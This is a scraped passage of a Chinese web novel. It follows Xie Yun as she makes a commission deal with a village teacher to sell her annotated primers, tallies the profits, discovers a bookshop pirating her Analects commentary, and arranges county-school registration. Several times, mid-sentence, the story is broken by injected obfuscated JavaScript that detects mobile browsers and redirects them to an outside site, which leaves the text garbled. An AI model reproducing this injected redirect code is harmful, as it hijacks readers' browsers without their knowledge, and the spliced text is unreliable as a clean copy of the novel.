谢韫这一番长篇大论,实话里夹着吹捧,吹捧中又是句句肺腑之言,虚虚实实,实际就一个意思,我虽然学识渊博,但没有教学经验,今日来找你,便是看上了你十几年的教学经验,讨教来了。 偏偏这番话赵童生十分受用,他教了十几年了,都对谢韫的编书之才叹为观止,此时能胜人一筹的还真就是这十来年的教学经验了。 他道:“我看倒是可以,不过你就不怕我将你这书中内容尽数学去?” 谢韫自信一笑:“先生尽管取用,我求之不得。爹爹在世时,时长感叹怀阳县文风不盛,我听的多了,也时常自己琢磨一番……” 一个小姑娘,竟还操心文风之盛,赵童生被彻底勾起了兴趣,“那你倒是说说,琢磨出什么了?” “以我们家为例,我弟弟十三岁的年纪才开蒙,前面整整荒废的七年时间,是他不愿读吗?还是读不起?” 她看向赵童生,“还都是。他不想读是从来没人告诉过他读书的好处,读不起是因读书的代价实在太过昂贵,寻常开蒙识些字就得三五年起步,考个秀才更是要蹉跎十来年,更不要说再往上走了,那简直天方夜谭。人说鱼跃龙门,可孰不知贫民家庭出来的孩子,智慧和财力都无法支撑他哪怕只是跳的高一些。” 赵童生面色凝重,轻轻摩挲着手里的《论语解读》,想起了自己年轻时。是啊,若是自己那时有这样的书,何至于蹉跎到不惑之年连个秀才都没有考中。 谢韫还在继续,“可再看江南之地,学风之盛,每年进京赶考的江南学子是北方学子的十倍之多。这还罢了,关键是那水乡之地,五岁小儿开口吟诗,七岁稚童提笔做对不是个例。论起智慧,人家经过几代书香的熏陶,与我们相比,自然称得上家学渊源,论起资源,本朝泰半大儒都出自江南,教育资源的丰盛更是我们无法想象的。” 她言辞恳切,“先生,我这些书或许有人会说有违读书之人推崇的钻研之道,可又何尝不是一条捷径呢?南北几代人的差距,若是不想些捷径,我们这土坷垃里何时能出一个盛年的举人进士?” 谢韫这番话,绕是赵童生这等年纪,也不禁为之动容。 整个怀阳县考中举人的寥寥无几,考中进士的更是没有一个。 饶是他,在功名之路上浮沉半生,却始终连门都没有扣响,等到开班讲学,已然没有了心气。这十几年来他教出来的学生,学的最好的也只是去县城米粮店做学徒,只因识了字出师的比旁人快了一年。 再扭头看一眼长子,如今已然十六了,考了两年,至今还卡在府试上。他心里有预感,这孩子怕是会步了自己后尘,运气好一点,一辈子就是个童生了,运气不好,连童生只怕都考不上。 可此时谢韫的话,就像是又给他铺了一条路,还是一条不用拐弯的捷径。 谢韫说完后,就见赵童生眼睛看向虚空处,显然是因她的话陷入了沉思中。她也不打扰,只静静坐着等他细想。 半晌后,赵童生回过神来,他从长子手中拿过那本《千字文解读》,翻到考校谢霁的那句话,将书中内容大概浏览一番,才像是品味着谢韫最后说的那句“有的人活着他已经死了,有的人死了他还活着”,说道:“姑娘胸有大志,可惜了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784967|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他这意味不明的一声叹息,听得赵继儒和谢霁同时一愣。 谢韫却听懂了,她微微一笑,道:“先生不必惋惜,人生在世并非只有一条路可走,我虽是女子,可我目标清晰,早就选好了路,而今的关键在于先生愿不愿意与我同行呢?” “你希望我如何做?” 谢韫并未急着开口,而是瞥了一眼赵继儒。赵童生反应过来,吩咐长子道:“为父今日上课推迟半个时辰,你代我去看看,莫要那些猴儿掀了屋顶。” 赵继儒躬身应是,就要出去。 谢韫道:“让阿霁跟你一道去吧,瞧瞧真正的学堂是什么样的。” 于是谢霁跟着赵继儒一同出了屋。 谢韫这才开口,“先生若是愿意,日后上课时可将我今日所赠之书当做教材。” 这样一来,凡是上他课的学生定要人手一部三件套,不过她也保证道:“想必先生也听说过,我的书虽然与市面上的刻印不大一样,但价钱却是实实在在的便宜,我可以保证,就算先生替我做了这宣传,我也不会趁机涨书价,相反,若是定书的人越来越多,有了一定的规模,书价也许还会再往下降一些。” “除此之外,我也承诺,从今日开始,凡是因先生的推荐来定书的学生,我每卖出一本,都给您百分之五的利润,算是酬劳。” 赵童生看着她,问道:“小姑娘,这才是你今日来找我的真正目的吧?” 之前说了那么多原来都是铺垫啊。 谢韫回看向他,不躲不避,“先生,我今日所说均是肺腑之言,先生若是没有与我一样的想法,又怎么会心生感触?再者,经济基础决定上层建筑,我们虽然都怀着一颗教书育人的心,可前提是我们得有足够的实力去支撑伟大的梦想,不然一切都只是空谈,过过嘴瘾罢了。” 谢韫说到这里,也再不做更多的解释。她相信对方能想明白,甚至想的还要比自己通透。 实际上,这与他开班讲学是一个道理,你说要传播知识,可也没见你免费教学啊,人生在世,总要糊口的吧,本质上也是生意。如今她也只是将传播知识这门生意做的更直白一些罢了。 赵童生反而对她的一句“经济基础决定上层建筑” 更加感兴趣,他道:“你的总结倒是精辟。" 谢韫心道,当然,全是前人的智慧。面上却但笑不语。 赵童生又问:“你于经营之道确实有些天分,可你有没有想过,我统共也就这些学生,就算人人都买,又能帮你多少。" 是说受众小? 谢韫早就考虑到这一点了,此时见他这样说,显然是已经默认了自己的提议,她自信一笑,道: “这就是我今日来找您第二个用意。先生既然说好,何不将书在您的好友圈层里多做推荐?整个怀阳县这么多乡镇,若是每个学堂都用这本书,我们也算是造福于民了。” “报酬也是一样,百分之五的利润。咱们可以当场签订契书,我的每一笔账目每月也都会给您过目。” 百分之五的利润,谢韫说的时候,赵童生心里已经将这一笔账算完了,然后无可否认,他心动了。 23. 销量小高峰 教学这么多年,事实上,他的学生并不多,一个学生所收束脩也比旁的夫子低得多。幸而家里还有田产,妻子又勤劳能干,这才勉强能支撑着长子读书,可若真想再进一步读下去,好的教育资源必不可少。 再刚正的读书人缺了钱也是寸步难行啊。更何况这还是白白送上门的生意。 “好,我答应。”他最后道。 “我必不会辜负先生的信任。”谢韫有备而来,从袖中掏出契书直接就递给赵童生过目,顺便又打消他最后一个顾虑,“我今日带来的书您先看,日后若是有了新的书 目,我也会第一时间征询先生的意见,绝不自作主张坏了先生的名声。" 双方签罢合约,赵童生急着要给学生开课,谢韫也便趁机心满意足的告辞了。 回去的路上,谢霁道,“还是阿姐厉害,没想到跟赵先生的合作这么顺利就达成了。" 都说读书人脾气怪,先前阿姐提议去拜访的时候,他还害怕赵先生看不上给人推销这样的生意呢。 谢韫微微一笑,她也怕呢,所以才会在一进门就费那样大的功夫将卖书这件事拔高到崇高理想上去说,可双方说到最后,她突然发现,或许赵童生也没有自己想象的那样酸腐,看不上沾这些白的黄的俗世之物。 怕是瞌睡来了遇枕头,心里偷着乐也说不定。 毕竟于教书一道,人家镇上的李秀才可比他风光多了,同行之间就算是到了古代,也逃不过相轻的定律。 谢韫的这番猜测很快就得到了验证。 跟赵童生达成合作,效果很明显。回去没几天,他就让自己的长子来找她一趟。 赵继儒将来时父亲交代的话原原本本转述一遍,“父亲说他有三位好友各自在迁安镇和黑水镇做私塾先生,他们都对你上回送来的那些书很感兴趣 ,这次让我来是要再买三套,他想赠与他们。” 谢韫一听,立刻就让谢霁去搬书。 之前托陈郎君抄的书已经全部完成了,因为预计马上就要有一个销售小高峰,她一刻不停,又给他下了第二批订单。是以此刻库存充足。 谢韫对赵继儒道:“这些书加起来足有三十多本,你怕是一个人背不回去,待会儿留在家里吃午饭,下午让阿霁帮你一起背回去。” 赵继儒不肯,“这怎么好意思?况且父亲交代了,让我不要耽误时间。” “你放心,定不会耽误你的。”谢韫劝道: “现在已经到了饭点儿,就算你不吃,阿霁也是要吃的,你就当是等他了。” 赵继儒这才答应下来。 家里亲朋少,平时难得来客人。好容易来了这一个,又是自家闺女的合作伙伴,王氏热情异常,上了蜂蜜水,又亲自下厨炒了三个荤菜,肉放得足足的,拿出十二分的诚意招待赵继儒。 赵继儒刚开始还有些拘谨,但他很欣赏谢霁,吃饭时又被谢霁热情的夹菜,渐渐的也放开了。 吃完饭又和谢家姐弟续了年纪,他今年十六,比谢韫大一岁,便道:“我比你们痴长些,日后你们若是愿意,便称我为兄。" 谢霁道:“我表字凝之,赵兄日后也可唤我表字。” 赵继儒有些惊讶,“你竟已经有字了?我还是参加县试时父亲才为我取了明心为字。” 谢霁道:“我的字是爹爹取得,我原以为这辈子都没人会以字唤我呢。” 当时谢霁改姓,谢安不仅为他改了名,还一并取了字。可乡下地方,大家都是一个不入流的糙名叫着,谁管你名叫啥,字叫啥,所以谢霁那时自己也并未将这事放在心上,就连王氏,私下也暗自感叹,丈夫也忒讲究了些。 而这一切似乎都是因为读了书才有的变化。 赵继儒笑道:“你如今还未入学堂,朋友自然少,等日后入了学堂,有了同窗,叫你表字的人多的是。” 谢霁听着他的话,想道,便是如自己和麦生一般吧,因为生了亲近之感,所以才想互称表字。 说起上学,赵继儒又好奇起来,“对了,我上回听你答我爹爹的考校,基础打得不错,可若是真要参加考试,怕是还得入学堂经过正规的学习,你在这方面可有打算?" 谢霁道:“自然是有的。我如今先在家里学一年,明年再进学堂,到时候跟其他同窗的差距也可以缩小一些。” “你这个打算不错。”赵继儒认同道:“ 你阿姐的学识连父亲都夸,教你一两年确实不成问题。” 说罢,他又问起他打算上哪所学堂,"爹爹虽教的也好,但基本是以开蒙课程为主,以你如今的基础,我爹爹那里怕是不太适合你了。那就只剩下镇上李秀才那里和县学两处了。” “我如今在县学,夫子教的很是用心。不过县学收学生,最次等的也得要县试过了的,你如今要进怕是有些困难,不如就先去李秀才那里,苦读几年,等过了县试,再入县学不迟。" 谢霁听着,知道他这些话是切切实实为自己考虑了。便也道:“我明年正是打算入李秀才的私塾的。不过县学我倒是第一次听说,等空闲了你可要再好好给我说说。” “那是自然。”赵继儒利落道,“你日后要是有什么问题,都可以来问我。” 赵继儒临走时,从随身背来的褡裢里掏出钱要结账,谢韫却一把推了回去。 她道:“这书理应该是我送三位先生才是,不能让赵先生出力又出钱。回去请代为转达,请他尽管与人推荐,日后赠书的账目全都算在成本里。” 这就类似打打告,谈大客户前,得先免费送一套样品作为体验,若是用的好了,人家自然会掏腰包。 赵继儒却为难道:“这是爹爹的吩咐,回去若是见我没付钱白拿你的书,只怕是要生气的。” 谢韫笑道:“在商言商,继儒哥回去只管按我说的转达,想必赵先生能明白的。 ” 等两人各背一箱书走了,王氏道: “我瞧着赵先生一家都是些老实人。” 谢韫点头,“赵先生教书这么多年,学生束脩从未涨过,若是精明些的,这种为了生意必要的赠书,他也不会默不作声的往自己头上揽。" 傍晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784968|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时分,谢霁回来后,谢韫问起他去到赵家的情形。 谢霁道:“赵先生听了阿姐的话,似乎有些不好意思。不过他果真没有再将钱硬塞给我。”去时他还害怕到时候万一他将钱硬塞给自己,他要如何处理呢。 谢韫道:“如此就好。大家刚开始合作,只有双方都做到公正合理,合作关系才能长久。” 书赠出去没几日,上门买书的学生突然就开始多了起来。 谢韫说到做到,专门订了个账本用于记账。每卖出一本她都要详细登记顾客的家庭住址和所上学堂,除了赵先生的学生,其他均是之前赠了书的那三位夫子的学生。 谢韫再打听的仔细些,原来有两位夫子已决定将她的书当做日常教学教材,要求所有学生必须人手一本,要是已经有了原文教材的,《解读》可以不买,但配套练习册必须要有。另一位虽没有强制要求,但日常出题考核都是从练习册上摘题。如此一来,学生也得人手一套了。 这几个学堂卖的差不多了,过了些时日,赵童生又差人来要赠书,谢韫乐的合不拢嘴。 如此红火的一直卖到入冬,之前充足的库存也开始断货,陈郎君被催着将抄写的速度连提了好几倍,以前是一日抄五千字,现在直接上升到一万字,几乎是不眠不休。 谢韫见他抄的辛苦,中间也想过再找个人来帮他分担,但他不愿将这明摆着赚钱的工作分出去,连连保证自己定会保质保量的完成,谢韫只好做罢。 到了腊月,销量小高峰告一个阶段时,母子三人才抽出空来开始算大账。此时铜钱已经攒了半木箱,谢韫就让大家一贯一贯的用麻绳穿起来,过几日拿到县城银庄换成银锭,便于储存。 三个人整整穿了大半个晚上,垒的铜钱串跟小山似的。 王氏捂着心口连连感叹,“我的天,我这辈子还是头一回见这么多钱。” 谢霁不说话,但他心脏跳的飞快,将那些铜钱一遍遍的抚摸,似乎只有手触到实物,他才有真赚到钱了的真实感。 谢韫也心跳加速,折腾了这么久,点子终于变成了真金白银,如何能不让人激动? 但她还理智尚存,开口时还保持着几分淡定,“这些钱还要除掉成本,赵先生和陈郎君的酬劳要给,之前赠出去的几套书也要算成本,还有笔墨纸砚的费用,这些全部减掉,剩下的才是咱们自己的利润。" 王氏听了,也丝毫不沮丧,道:“没事,只要有的赚就行。你原先一下子白送出那么多书,我还发愁怕是要亏呢。这下好了,这么多钱,改明儿先给你们俩一人裁一身儿冬衣,天气冷的快,不要冻着了。今年与往年可不一样……” 她喃喃做着打算,说了好几样必须要置办的东西,又问谢韫,“对了,你快给娘算算,只算纯利润的话,咱们到底是赚了多少?可不能一次性全给花了,还要攒些钱给阿霁明年上学花用呢。” 谢韫笑着,“纯利润啊……”她转头看向谢霁,“阿霁,这个答案就交给你了,你明日好好算算,咱们卖书以来,到底一共赚了多少利润。” 24. 不会算账 “我……我算?”谢霁顿时紧张起来。 “是啊,你来算。” 在谢韫看来,在花费全都一目了然的情况下,算这笔账无非就是加减乘除。但前期成本的计算有些繁琐,她便将这一步略过,直接改编成一道简单的应用题让他做。 “咱们现有四类书,《三字经解读》《千字文解读 》《千家诗解读》以及《论语解读》,这四本书各有配套练习册两本,这些书定价也各有不同, 《三字经解读》和《千字文解读》卖价五十文,《千家诗解读》一百三十文,《论语解读》贵些,三百文。至于配套练习册,论语的每本三十文,其余都是二十文。" “再看销量,每本书加两本配套练习册可以算作一套,这几个月以来,三字经卖出一百二十二套,千字文卖出一百零五套,千家诗七十套,论语三十套,其余单本的先略过不计。” “成本的话,纸墨费、抄书费,还有前期复写纸的试错成本以及赠书花费,这些都比较杂,也不用你细算,我直接告诉你,所有成本摊到每本书里大概是定价的一半。如此,你算一算,咱们这些日子一共赚了多少纯利润?" 记账是个劳累活。最近账目全是谢韫一个人在看,但她日常还有许多其他的事,比如想要拓宽销路,光靠赵童生一个人不行,还得再开拓其他渠道,再比如总不能一直只卖这几类,还要想办法增添新品,还有县学备案的事情,如今动静已经起来,再不过明路很容易出事…… 总之,这桩桩件件都事关日后发展的稳定性,都比记账重要的多。她决定,就拿这次的利润对谢霁进行一次考校,若是他算出来了,日后记账的事情就可以慢慢交给他来负责。 谢韫说完,就见谢霁的目光在铜钱小山上扫来扫去,又提醒一句,“今晚穿起来的钱可不是全部,这些日子有些支出全是直接从钱匣子里拿的,你可不要想着用今晚这个数目一分为二糊弄我。” 谢霁还真是这样想的,此时听了谢韫的话,只好硬着头皮应是。 然而,在谢韫看来如此简单的一道应用题,谢霁算了一早上,手指头都要数断了,愣是没有算出来。 谁能想到,十三岁的少年郎竟然不会算这样简单的账。 谢韫忍不住问他:“从前阿娘到集上卖鸡蛋,你也经常跟着去帮忙收钱,从未出过错。还有,你前几日帮着卖书,也未收错过钱。为何这次不会算了?” 谢霁颓然放下笔,垂头丧气道:“阿娘卖鸡蛋是一文钱一个,客人每次最多要十个,我一个指头一个指头的数够十个铜板就行了。卖书也是,一个铜板一个铜板的数够也没问题。可阿姐此次出的题,我实在无从下手......” 谢韫扶额道:“明天开始每天加一堂数学课。” “何为数学课?” “就是教你算账。” 认真算起来,这事也是谢韫自己疏忽了。因为大家从一开始定下的目标就是读书科举,科举考啥?考文科!她绞尽脑汁想将他从开蒙到下场应试的时间压缩到最短,于是一科语文从早学到晚,却忽略了学以致用的道理。 假使他日后真考上了县令,难道手下吏员来请示税收问题时,他还能说一句“我没学过数学”? 不行,必须刻不容缓的加课,至少得把加减乘除学明白了。 这笔没算明白的账,谢韫实际上早已心中有数,共是二十一两白银余五百六十五个铜板,若是再加上不成套卖出去的《解读》或配套练习册,便是将近二十二两的纯利润了,这才是真正装到自己口袋里的钱。 饶是前期已经记过一遍账目,待和王氏一起到县城将铜板换成白花花的银锭时,谢韫还是忍不住一阵激动。 不过激动过后还有更重要的事要做——去县学备案。 大周朝的律例,凡是书坊印书,书稿必须经过县学审核,审核通过就等于是过了明路。 像谢韫这样自产自出的小作坊,要想备案,若是不能直接跟县学搭上关系,就得寻个书坊做中介,当然,中介费也不便宜。 从新兑换的银锭中取出五两揣在身上,一家人就准备分开行动。 姐弟俩一同去书坊商谈牵线备案的事情,王氏则去县城东边的菜市场采购,柴米油盐、 猪肉羊肉,凡是平时不舍得吃的,这次都可以趁着进城的机会买一些回去。天气已经大冷,肉类只需挂在屋檐下就是天然的冰箱。 谢韫临走时交代:“难得进城一趟,这次就不要心疼银钱了,可劲儿买些,咱们三人能背回去就行。”天气越来越冷,下回进城还不知道会到什么时候呢。 王氏眼瞅着银钱立刻没了将近四分之一,心疼道: “哪能真的可劲儿买?你瞧,过个明路都这样贵,以后怕是花钱的地方少不了。" 谢韫道:“我之前打听过,应当花不了这么多,不过多拿一些有备无患。咱们各自办完事,你在菜市口等我们,到时候一起回家。” 怀阳县文风不盛从书铺就可看出端倪。偌大一座城一共两间书铺,都开在县学附近,一个叫益民轩,一个叫墨香斋。 这两间书铺都有自己的书坊,谢韫刚穿来时写的话本就是卖给益民轩,所以这家她相对熟悉一些,姐弟二人便决定先去益民轩看看。 要去益民轩,就要从县学门前经过。此时正赶上县学学子中午放课,大门一开,一群穿着月白色儒衫的少年哗啦啦冲出来。姐弟二人被冲了个猝不及防,连忙相互拉着往一旁躲。 学子们都正是朝气蓬勃的年纪,同窗间边走边说,说到高兴处开始相互推搡打闹。有个学子被同伴一推就朝谢韫撞了过来,谢霁连忙旋身去挡,结果与那人脊背对脊背撞了个正着,疼的他险些闭过气去。 几人一看闯祸了,连忙停下来作揖道歉,“这位兄台,实在对不住,是我等冒失了。" 那个撞了人的学子看到谢霁反手捂着背,顾不上自己也同样疼,紧张问道:“可是撞坏了哪处?前面不远处有医馆,我带你去看看。" 刚才那一下,谢霁确实疼,但缓过来后他仔细感受了一下,骨头应该没事,便也不欲生事,咬牙摆手道:“无妨,我们还有事,医馆就不去了。” 那学子又作揖倒了一回歉,回头就抱怨同窗道: “刘庸,看你干的好事,快把书还给我,我娘还等着我回家吃饭呢。” 那被叫做刘庸的学子,年纪看着十七八岁的样子,面皮细嫩,一双眼睛极灵活,此时被骂,手里的书来不及合上就笑嘻嘻赶紧递了过去,又径自上前朝谢霁再道一回歉。 “对不住,还请兄台见谅。” 谢霁被这几次三番的道歉弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎一一”还不知道你叫什么呢...... 褚砚看着两人走远,又顾忌好友还在旁边,心里的话终究没有喊出来。 谢霁一路跟着谢韫走,益民轩已经走过了,她却还脚步未停。 谢霁赶紧出声提醒,“阿姐,走过了。” 谢韫这才停了下来,回头看了一眼益民轩的店面,不知在想什么。 “阿姐,你怎么了?可是那本书有什么不对?”谢霁回忆刚才发生的事情,分明是从她看到那本书开始才反常的。 谢韫沉吟一瞬,说道:“那本书就是咱们家的《论语解读》。” “什么?”谢霁吃惊道:“怎么会?”他又很快反应过来,“益民轩印了咱们的书赚黑钱?” “现在还不清楚他们是通过什么渠道得来的书稿,但县学备案这件事不能再找他们做了。” “那便只有墨香斋这一个选择了。”谢霁神色怏怏。 谢韫扭头去看同样近在咫尺的墨香斋,这家店面门口,一个伙计搬了把椅子,正坐在上面百无聊赖的托腮打量过路的行人。 看了一会儿,她收回眼神,思量道:“先不急,咱们去一趟益民轩,摸摸情况再说。” 25. 县学备案 进益民轩前,谢韫已嘱咐过谢霁不要打草惊蛇。两人面色如常的走进去,柜台后面的掌柜的立刻就认出了她,“谢姑娘好长时间没来了?怎么,又写了新的话本子?” 谢韫道:“家里忙,最近没时间写了。” 掌柜的很是替她惋惜,商量道:“姑娘写的一笔好故事,不继续写实在可惜。要不这样,只要你继续写,价格我再给你涨一成?” 谢韫笑而不语。莫说涨一成,就是再涨两成,也及不上市面上那些书生的价格。 从刚开始写时她就知道,这掌柜的重男轻女,看她是个女孩子,天然就觉得价钱不应该高过那些书生,即使她的故事比旁人更加新奇好看、销量高,他还是每次都死命的往下压价。 先前是没办法,明知道价钱低还是得接受,可今时不同往日,谢韫已经懒得再同他讨价还价,遂直接转移了话题。 “掌柜的,我们今日来是想看几本书,给我弟弟开蒙用。” 谢韫之前已来转过好几回,这店里书架上各有些什么书大概也有印象。她和谢霁径直走到放四书五经的书架前,目光上下一顿扫视。 掌柜的没有跟过来。两人商量话本价钱没商量到一块儿去,他已兴致缺缺。反正她来好几回了,每次都说想买书,可转了半天,每次都是空手出去。明眼人一看就知道,就是兜里没钱。 估计这次也一样。 姐弟二人很快就找到了与褚砚那本书皮一模一样的书,拿下来一翻看,谢霁沉声道:“就是这本。”再去看书架,上面摆了十来本一样的,全都是手抄本。 谢韫沉着脸色将书放回原位,又让谢霁再找一找,“看看还有没有别的。” 两人找了一圈,已能肯定,如今就只这本被翻印了。 她将这本书拿到柜台处结账。 “一两银子。”掌柜的虽有些惊讶她今日如何出手这样阔绰,但还是干净利落的将书给她包了起来。 谢韫结账时,装作不解道:“掌柜的,这本也是《论语》,还是手抄本,为何比那刻印本还要贵?” 掌柜的一脸得意,“这本书虽然贵,但书中释义典故丰富,深得县学学子的喜爱,上架才三日,就卖出去了将近十本,你说是不是好书?” 说罢,他又一脸神秘的道:“而且这书全怀阳县就我家书铺有,是我们东家专门从府城带回来的书稿。你弟弟要读书,买这本正正合适。” 谢韫点点头,掏了钱。 拿着书出来,谢霁问道:“我们才卖三百文,他们翻印后却要一两,阿姐为何还要掏钱买自家的书?白白给他们送银子?” 谢韫道:“当然是买来当证物的。我们的书还没有在县学备案,就算被翻印了也只能吞下这个哑巴亏,不过先让他们卖几天,等备完案,到时候就可以连本带利的讨回来了。” “可他们到底是如何得到书稿的呢?” 那掌柜的说什么从府城带回来的书稿,分明就是胡说八道。 谢韫此时已经理清了思路,她道:“无非就是两个途径,要么从陈郎君处泄出去的,要么就是之前卖出去的书被那掌柜的看到了。只是追查这个倒是不急,咱们先去墨香斋。” 谢韫进店的时候,里面有几位学子正在书架上选书,一个伙计正跟在后面忙前忙后的帮他们拿书。 谢韫再看一眼门口依旧老神在在坐着的那人,反应过来,原来这位是掌柜的。 她和谢霁先在书架前转了一圈,没有寻到自家的翻印书,这才放下心来。正准备回头喊掌柜的,那几名挑书的学子与伙计的对话恰巧传进了她的耳朵里。 “.....你们这么大的书铺,没有解读版的《论语》?”说话的学子语气里透着不相信。 伙计答不上来,只能赔笑。 他身边一名同伴则道:“算了,今日就先买这些,你要想买那本,不如一会儿再去益民轩转转。” “益民轩的书太贵了,足足要一两银子。我这不是想着在墨香斋捡个漏,谁知道竟然没有。”他语气里充满了可惜,“算了,结账吧。” “哎哎。”伙计赶紧抱着他们选好的书去柜台喊掌柜的算账。 谢韫将对话听了个全程,回头和谢霁互换了个眼神,等那几名学子结完帐走了,她才到柜台去找掌柜的。 那掌柜的早就注意到他们了。看衣着打扮不像是买不起书的,但转了半天,什么也没拿,心里猜测,要么就是进来看书消遣,要么就是不知道选哪本。 见二人过来,他温和问道:“两位,想挑一本什么书啊?只管说名字,我给您找。” 谢韫道:“我们不买书,是家里长辈想自己出几本书,听说咱们书铺能代办县学备案的事?” “是,我们书坊就能代办。不知书稿带了没有?”掌柜的边问边将两人又仔细打量一番。谢霁颠了下肩上的包袱,道:“都带来了。” 看着还不轻呢,掌柜的脸上立刻又堆加了几分笑容,“这大冷的天儿,二位贵客一路上冻坏了吧?快这边请,咱们到里间边喝茶边详谈。小毛,上茶。” 伙计利落答应一声,赶紧去泡茶了。 谢韫也不推辞,一马当先就跟着掌柜的进了里间。 等伙计上了茶,掌柜的看着他们轻抿了一口,才试探问道:“方才我看见二位先进了益民轩,可是价格没谈拢?” 他以为他们进益民轩也是询问代办价格的。谢韫没有解释,顺着他的话说道:“没办法,我们第一回托人办这种事,怎么也得货比三家啊。” “理解理解。那我就先给您二位介绍一下我们书坊代办的价格?” 掌柜的说完顿了顿,见谢韫点了头,才又继续道:“找们的价钱五百文到十两不等,具体还要看您出书的类型,我们看了您的书稿,若是判断县学审核容易通过,收费便低,若是内容还需得斟酌,收费自然就高。” 他说着声音突然轻下去,“那些我们都能看出问题的,要想审核通过,就得上下打点,这个最费银钱,想必您也能理解?” 谢韫听着笑了一下,轻轻点了点头。掌柜的一看,立刻觉得是同道中人,又热情了几分,“让我看看你们的书稿吧。” 谢霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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掌柜的沉吟一会儿,道:“这样,我家东家这两日要来怀阳县巡店,姑娘若是愿意,可先将这些书留下来,到时我再请东家亲自掌眼给价,如何?” 谢韫对他这套说辞持怀疑态度,“代办县学备案每个书坊里都有这项生意,想必你们早就有一套成熟的价格体系了吧?我这些书也都是常规知识,并不涉及偏门禁忌,为何偏偏要等几日?难道是您已经看出书里有无法审核通过的内容?” “不是不是,”掌柜的连忙解释道:“这些书都是好书,您放心,我们要价肯定不会过高,只是里面详细的释义典故之类的内容还需要我们东家仔细斟酌,以防出错啊。”顿了顿,又道:“您也知道,我们给您代办备案,日后要是这些书流到市面上,万一里面解释有误,我们书坊也是要承担风险的。” 这个解释倒也说得通,虽然谢韫直觉他的本意并非这么简单,但顺水推舟也没再多说什么,只是要求双方要签订契书,有益民轩的例子在前,她也得防着墨香斋也作出据为己有的事。 掌柜的这时倒是干脆,“这是自然,我们店原也有现成的契书模板,二位跟我到柜台去签吧。” 26. 县城闲逛 签了契书,双方约定三日后出结果。从墨香斋出来,一看时间还早,二人便打算在县学附近逛一逛。 谢霁道:“多逛一会儿,说不定真会碰到继儒哥。” 谢韫道:“县学离家太远,他平时上学定是吃住都在学堂里面,咱们在外面碰到他的可能性不大。” 两人再次从县学门前经过的时候,谢霁忍不住憧憬道:“继儒哥说县学是全怀阳县最好的学堂,要是哪一日我也能进到这里读书就好了。” 那些县学学生身着统一的儒衫纶巾,走在街上,旁人一看他们身上的衣裳就知道是县学的,气派的不得了。 谢韫却心里好笑,校服嘛,想当初在现代,多少学生为了不穿校服花招百出,不是丢了,就是洗了没干。 但看着谢霁期盼的眼神,她还是鼓励道:“你好好打基础,到时候县试考过,自然就能进了。” 李秀才的私塾也好,但他们没有统一的儒衫,只有县学这种已经有些规模的学校才会如此要求。 于是从此,谢霁又多了一个好好读书的动力。 谢韫除了之前拿的那五两银锭,身上还有些铜板,姐弟二人在县学这条街上边逛边买。买的全都是吃食,糖糕、羊肉包子、凉菜卤味,一样各称一些,拿回去一家人一起尝鲜。 除了这些,还有几个小玩意儿,泥塑的兔子,表面涂了彩釉,五文钱一个,拿回去给谢霁当镇纸,还有竹刻的马到成功的笔架,买回去可以跟之前自制的笔架替换着用,增加趣味性。 谢霁见都是给自己买的东西,道:“上个摊子的珠花不错,阿姐也给自己买几样。” 谢韫却不爱那些,“之前买的都有,我和阿娘也都不是习惯戴这些的。” 一条街逛到尽头,谢霁问:“要不要去陈郎君那里一趟?咱们总得搞明白书稿是不是从他手里泄出去的。” 谢韫却道:“现在还不是时候,一切等到备案的事情搞定再说。” 等到两人到菜市口与王氏汇合时,只见她已经该买的都买完了。菜市口有个卖面的摊子,王氏给了摊主一小块儿酱牛肉后,就坐在她家灶前边烤火边闲聊。 那摊主听说她儿子正在读书,想要考秀才,顿时一个劲儿的夸前途无量。谢霁过去时,摊主正夸的起劲,一看到正主,非要免费请他们吃面不可。 谢霁连忙推辞:“不用不用,我们刚才来的路上已经吃过了,还要抓紧时间赶路回家去呢。” 王氏也道:“改日我们再来,一定照顾你的生意,今天就不吃了。”说话间采购的东西几人各自分开背上,就要离开。 摊主无法,只好再三叮嘱,自家摊子在菜市口十几年了,让他们下次一定要记得来吃面,还是免费吃。 王氏满口答应。待走的远了,谢韫奇怪道:“阿娘,你跟摊主说啥了?竟这样热情。”她可想不起来自家之前认识他。 王氏笑道:“之前我也不认识,不过摊主人不错,她听说我有个适龄的闺女,非要拉着我说媒,我没办法就把话题转到了你弟弟身上,谁知他竟还有个女儿,说什么不介意你弟弟小,两家可以先定亲......我正愁没法子推呢,你们俩正巧来了。” 